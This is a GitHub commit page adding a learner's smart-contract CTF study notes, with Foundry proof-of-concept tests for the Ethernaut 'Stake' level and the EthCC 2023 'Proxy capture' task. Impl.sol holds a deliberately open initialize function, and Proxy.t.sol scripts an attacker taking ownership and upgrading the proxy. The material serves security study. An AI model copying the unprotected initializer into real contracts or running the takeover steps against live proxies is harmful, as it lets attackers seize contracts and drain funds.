Skip to content

Commit

Permalink
KeShin 9.21 Study Notes
Browse files Browse the repository at this point in the history
  • Loading branch information
xiaoyuanxun committed Sep 21, 2024
1 parent ad4279f commit e0ae200
Show file tree
Hide file tree
Showing 12 changed files with 349 additions and 6 deletions.
6 changes: 5 additions & 1 deletion KeShin.md
Original file line number Diff line number Diff line change
Expand Up @@ -190,14 +190,18 @@ KeShin, 合约安全新人
- sstore(treasury.slot, calldataload(4)) 是从 calldata 的第4位开始读取数据,那么我们构造 calldata 使值大于 255
- [POC](./Writeup/KeShin/A-Ethernaut%20CTF/30-HigherOrder/)

#### [Ethernaut CTF : 31 Stake](https://ethernaut.openzeppelin.com/level/301)
#### [Ethernaut CTF : 31 Stake](https://ethernaut.openzeppelin.com/level/31)
- 使合约满足条件:合约的 ETH balance 大于 0,totalStaked 比 合约的 ETH balance 大(这意味着有 WETH 质押),我自己必须是质押人,但质押余额是 0(质押过然后撤回了)
- [POC](./Writeup/KeShin/A-Ethernaut%20CTF/31-Stake/)


### 2024.9.20
#### [Ethcc CTF 2023 : 1 Proxy capture](https://github.com/spalen0/warroom-ethcc-2023?tab=readme-ov-file#task-1---proxy-capture-15-points)
- [POC](./Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/)

### 2024.9.21


### 2024.9.22

<!-- Content_END -->
2 changes: 1 addition & 1 deletion Writeup/KeShin/A-Ethernaut CTF/31-Stake/foundry.toml
Original file line number Diff line number Diff line change
Expand Up @@ -2,5 +2,5 @@
src = "src"
out = "out"
libs = ["lib"]

evm_version = "Shanghai"
# See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options
2 changes: 1 addition & 1 deletion Writeup/KeShin/A-Ethernaut CTF/31-Stake/src/Stake.sol
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ contract Stake {
require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
totalStaked += amount;
UserStake[msg.sender] += amount;
(bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
(bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount)); // transfer from
Stakers[msg.sender] = true;
return transfered;
}
Expand Down
47 changes: 44 additions & 3 deletions Writeup/KeShin/A-Ethernaut CTF/31-Stake/test/Stake.t.sol
Original file line number Diff line number Diff line change
Expand Up @@ -7,10 +7,51 @@ import {Stake} from "../src/Stake.sol";
contract StakeTest is Test {

function setUp() public {
vm.createSelectFork("https://ethereum-sepolia-rpc.publicnode.com", 6733964);
}

function test_Increment() public {
counter.increment();
assertEq(counter.number(), 1);
function test_Stake() public {
Stake stake = Stake(0x8F9457389FD5f54CDAeb59FA053261A3428F698B);

console.log("totalStaked : ", stake.totalStaked()); // 0

console.log("ca eth balance : ", payable(address(stake)).balance); // 0

address weth = 0xCd8AF4A0F29cF7966C051542905F66F5dca9052f;

address userA = 0xA6270E61a6485f649f7E18b6e9eBF4d1d184D69d;
address userB = 0x9b20948606A59671C2019Bad4085AA0f8bC7860F;

vm.startPrank(userA);

payable(userB).transfer(0.1 ether);

stake.StakeETH{value : 0.01 ether}();

stake.Unstake(0.01 ether);

vm.stopPrank();

vm.startPrank(userB);

stake.StakeETH{value : 0.01 ether}();

(bool success, bytes memory data) = weth.call{value: 0.01 ether}(abi.encodeWithSignature("deposit()", ""));

(bool success1, bytes memory data1) = weth.call(abi.encodeWithSignature("approve(address, uint256)", address(stake), uint256(0.5 ether)));

(bool success2, bytes memory data2) = weth.call(abi.encodeWithSignature("balanceOf(address)", userB));

console.log("userB weth balance : ", bytesToUint(data2));

stake.StakeWETH(0.01 ether);

console.log("totalStaked : ", stake.totalStaked());

console.log("ca eth balance : ", payable(address(stake)).balance);

console.log("user is staker : ", stake.Stakers(userA));

console.log("user stake balance : ", stake.UserStake(userA));
}
}
14 changes: 14 additions & 0 deletions Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
# Compiler files
cache/
out/

# Ignores development broadcast logs
!/broadcast
/broadcast/*/31337/
/broadcast/**/dry-run/

# Docs
docs/

# Dotenv file
.env
66 changes: 66 additions & 0 deletions Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,66 @@
## Foundry

**Foundry is a blazing fast, portable and modular toolkit for Ethereum application development written in Rust.**

Foundry consists of:

- **Forge**: Ethereum testing framework (like Truffle, Hardhat and DappTools).
- **Cast**: Swiss army knife for interacting with EVM smart contracts, sending transactions and getting chain data.
- **Anvil**: Local Ethereum node, akin to Ganache, Hardhat Network.
- **Chisel**: Fast, utilitarian, and verbose solidity REPL.

## Documentation

https://book.getfoundry.sh/

## Usage

### Build

```shell
$ forge build
```

### Test

```shell
$ forge test
```

### Format

```shell
$ forge fmt
```

### Gas Snapshots

```shell
$ forge snapshot
```

### Anvil

```shell
$ anvil
```

### Deploy

```shell
$ forge script script/Counter.s.sol:CounterScript --rpc-url <your_rpc_url> --private-key <your_private_key>
```

### Cast

```shell
$ cast <subcommand>
```

### Help

```shell
$ forge --help
$ anvil --help
$ cast --help
```
6 changes: 6 additions & 0 deletions Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/foundry.toml
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
[profile.default]
src = "src"
out = "out"
libs = ["lib"]

# See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options
12 changes: 12 additions & 0 deletions Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/script/Counter.s.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol";

contract CounterScript is Script {
function setUp() public {}

function run() public {
vm.broadcast();
}
}
12 changes: 12 additions & 0 deletions Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/src/DasProxy.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "openzeppelin-contracts/contracts/proxy/ERC1967/ERC1967Proxy.sol";

// code borrowed from repo with proxies & tests implemented in forge https://github.com/FredCoen/Proxy_implementations_with_forge

contract DasProxy is ERC1967Proxy {
constructor(address _implementation, bytes memory _data)
ERC1967Proxy(_implementation, _data)
{}
}
56 changes: 56 additions & 0 deletions Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/src/Impl.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "openzeppelin-contracts/contracts/proxy/utils/UUPSUpgradeable.sol";
import "openzeppelin-contracts/contracts/access/Ownable.sol";

contract Impl is UUPSUpgradeable, Ownable {
mapping(address => uint256) public balances;
mapping(address => uint256) public withdrawals;
mapping(address => bool) public whitelistedUsers;

constructor() Ownable(msg.sender) {}

function initialize(address owner) public payable {
require(owner == address(0), "!initialize");
owner = _msgSender();
require(msg.value >= 0.1 ether, "!ether");
balances[_msgSender()] += msg.value;
_transferOwnership(owner);
}

function deposit() public payable {
require(whitelistedUsers[_msgSender()], "!whitelisted");
balances[_msgSender()] += msg.value;
}

function withdraw(uint256 amount) public {
address sender = _msgSender();
require(whitelistedUsers[sender], "!whitelisted");
require(balances[sender] >= amount, "!balance");
balances[sender] -= amount;
payable(sender).transfer(amount);
withdrawals[sender] += amount;
}

function getBalance() public view returns (uint256) {
return balances[_msgSender()];
}

function getWithdrawals() public view returns (uint256) {
return withdrawals[_msgSender()];
}

function whitelistUser(address user) public onlyOwner {
whitelistedUsers[user] = true;
}

function removeUser(address user) public onlyOwner {
whitelistedUsers[user] = false;
}

function _authorizeUpgrade(address) internal override onlyOwner {
require(withdrawals[_msgSender()] > 1, "!withdraw");
require(whitelistedUsers[_msgSender()], "!whitelisted");
}
}
119 changes: 119 additions & 0 deletions Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/test/Proxy.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,119 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";

import {DasProxy} from "../src/DasProxy.sol";
import {Impl} from "../src/Impl.sol";
import {TakeOwnership} from "./TakeOwnership.sol";

contract ProxyTest is Test {
DasProxy public proxy;
Impl public impl;

address public user = address(123);
address public attacker = address(456);

function setUp() public {
vm.prank(user);
impl = new Impl();
vm.prank(user);
proxy = new DasProxy(address(impl), "");
deal(user, 1 ether);
deal(address(this), 1 ether);
deal(attacker, 1 ether);
}

function testProxyIsNotInitialized() public {
(bool validResponse, bytes memory returnedData) = address(proxy).call(
abi.encodeWithSignature("owner()")
);
assertTrue(validResponse);
address owner = abi.decode(returnedData, (address));

assertEq(owner, address(0), "!owner");
assertEq(impl.owner(), user, "!owner");
}

function testTaskFlow() public {
(bool validResponse, bytes memory returnedData) = address(proxy).call{value: 0.1 ether}(
abi.encodeWithSignature("initialize(address)", address(0))
);
assertTrue(validResponse);
(validResponse, returnedData) = address(proxy).call(
abi.encodeWithSignature("owner()")
);
assertTrue(validResponse);
address owner = abi.decode(returnedData, (address));
assertEq(owner, address(this));

// attacker can call initialize
vm.prank(attacker);
(validResponse, returnedData) = address(proxy).call{value: 0.1 ether}(
abi.encodeWithSignature("initialize(address)", address(0))
);
assertTrue(validResponse);
(validResponse, returnedData) = address(proxy).call(
abi.encodeWithSignature("owner()")
);
assertTrue(validResponse);
owner = abi.decode(returnedData, (address));
assertEq(owner, attacker);

// attacker can call upgrade
vm.prank(attacker);
TakeOwnership takeOwnership = new TakeOwnership();

// cannot update without withdrawing funds
vm.prank(attacker);
vm.expectRevert(bytes("!withdraw"));
(validResponse, returnedData) = address(proxy).call(
abi.encodeWithSignature("upgradeTo(address)", address(takeOwnership))
);

// cannot update without whitelisting
vm.prank(attacker);
vm.expectRevert(bytes("!whitelisted"));
(validResponse, returnedData) = address(proxy).call(
abi.encodeWithSignature("upgradeTo(address)", address(0))
);

// whitelist owner
vm.prank(attacker);
(validResponse, returnedData) = address(proxy).call(
abi.encodeWithSignature("whitelistUser(address)", attacker)
);

// cannot update without withdrawing funds
vm.prank(attacker);
(validResponse, returnedData) = address(proxy).call(
abi.encodeWithSignature("withdraw(uint256)", 2)
);

// upgrade proxy
vm.prank(attacker);
(validResponse, returnedData) = address(proxy).call(
abi.encodeWithSignature("upgradeTo(address)", address(takeOwnership))
);
assertTrue(validResponse);

// cannot initalize
(validResponse, returnedData) = address(proxy).call(
abi.encodeWithSignature("initialize(address)", address(0))
);
assertFalse(validResponse);
(validResponse, returnedData) = address(proxy).call(
abi.encodeWithSignature("owner()")
);
assertTrue(validResponse);
owner = abi.decode(returnedData, (address));
// owner is still attacker
assertEq(owner, attacker);

// cannot upgrade proxy impl
(validResponse, returnedData) = address(proxy).call(
abi.encodeWithSignature("upgradeTo(address)", address(impl))
);
assertFalse(validResponse);
}
}
Loading

0 comments on commit e0ae200

Please sign in to comment.